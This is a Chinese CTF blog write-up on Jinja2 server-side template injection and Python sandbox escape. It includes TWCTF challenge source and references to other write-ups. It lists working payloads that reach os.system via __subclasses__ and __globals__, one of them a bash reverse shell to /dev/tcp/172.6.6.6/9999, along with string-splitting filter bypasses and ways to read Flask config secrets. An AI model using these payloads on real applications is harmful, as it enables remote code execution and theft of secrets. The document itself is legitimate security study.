从SSTI到沙箱逃逸-jinja2

Intro

国赛遇到了沙箱逃逸和简单的 SSTI,算是 python sec 的起步吧,最开始在看 bendawangbit2woo 的 python sec,开始了解了一点点基础,在 QCTF 又遇到了 SSTI,以及网鼎杯和 TWCTF。记录一下查到的内容,主要是 Web App 的判断以及 sandbox filter bypass。

关于 SSTI,这里给两篇文章:
http://www.freebuf.com/articles/web/136118.html
http://www.freebuf.com/articles/web/136180.html
http://www.freebuf.com/vuls/83999.html

Example

python web

FswLiPndfrbe_ZB0XxB085L1VixF

寻找可用方法的核心在于找到可用的库和方法。核心在于几个魔术方法,然后用魔术方法找到<type 'object'>(python2)或<class 'object'>(python3)。

核心的原理在文档里有说明:

https://docs.python.org/2/genindex-_.html
https://docs.python.org/3.6/genindex-_.html

测试几个 payload 后,发现魔术方法 __class__ __mro__ __base__ 只有 base 可用

python2:
[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls')
"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[40](filename).read()
"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bash -c "bash -i >& /dev/tcp/172.6.6.6/9999 0>&1"')

python3:
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']
"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('__global'+'s__')['os'].__dict__['system']('ls')

开始查相关资料,看如何绕过(其他姿势)

Bypass

模版引擎

在 blackhat 的介绍中找到了如何分辨模版引擎:
https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf
翻译版:
https://zhuanlan.zhihu.com/p/28823933

引其中一张图片:
Fu668Kj3zKQQHmgy1RpsHE9Uvn9w
jinja2 返回的是 7777777 ,通过测试可以确定为 jinja2 ,那么接下来就是确定 jinja2 的其他 payload 如何绕过 filter 了

bypass

jinja2-template-injection-filter-bypasses 中找到了相关说明,即使用 request['__class__'] 表示,可以绕过。同时还测试了 self。
文中还给出了 __、[、]、|join、args 的绕过方法,不再搬运了..

针对 example 的 payload:
{{request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]['__in'+'it__']['__'+'glo'+'bal'+'s__']['__bu'+'iltins__']['ev'+'al']('__im'+'port__("os").po'+'pen("").re'+'ad()')}}

(其实例题中 args 用起来最简单,如果过滤内容只存在于某个参数中,可以在其他参数内提交敏感内容,从而 bypass 过滤器)

request[request.args.para]&para=xxx GET
request[request.value.para] POST

Bypass other

TWCTF config

需要获取的内容在 config 中,不能使用(、)、self、config

import flask
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s
    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)

利用 __dict____globals__ 获取属性和定义域信息。

可用的上下文变量/函数如下

url_for, g, request, namespace, lipsum, range, session, dict, get_flashed_messages, cycler, joiner, config

同时利用上下文获取 config 方式如下

__globals__['current_app'].config
top.app.config

两者结合,可得 payload 如

url_for.__globals__['current_app'].config['FLAG']
get_flashed_messages.__globals__['current_app'].config['FLAG']

此外,还可以获取 sys
{{app.__init__.__globals__.sys.modules.app.app.__dict__}}

其他思路,通过 request 回溯法搜索寻找 config 的其他位置

Control Flow

只能使用控制结构时,即{% %},参考 https://www.xmsec.cc/wdb-review/#mmmmy-WDB-3rd
使用布尔盲注,或使用 print 语句直接打印。

doc

  1. 设计者文档
    提到了内置过滤器使用方法,可参考其中的使用方法绕过黑名单
    模板设计者文档 — Jinja2

  2. __dict____globals____code__说明

    Attribute Meaning Attr
    __globals__=func_globals A reference to the dictionary that holds the function’s global variables — the global namespace of the module in which the function was defined. Readonly
    __dict__ = func_dict The namespace supporting arbitrary function attributes. Writable
    __code__=func_code The code object representing the compiled function body. Writable

    Changed in version 2.6: The double-underscore attributes __closure__, __code__, __defaults__, and __globals__ were introduced as aliases for the corresponding func_* attributes for forwards compatibility with Python 3.

从模板引擎分析 SSTI --todo

https://xz.aliyun.com/t/2908#toc-2

Ref

  1. http://www.bendawang.site/2018/03/01/关于Python-sec的一些总结/
  2. https://0day.work/jinja2-template-injection-filter-bypasses/
  3. https://portswigger.net/blog/server-side-template-injection
  4. https://ctftime.org/task/6505
Updated At: Author:xmsec
Chief Water dispenser Manager, delivering but striving.
Github
comments powered by Disqus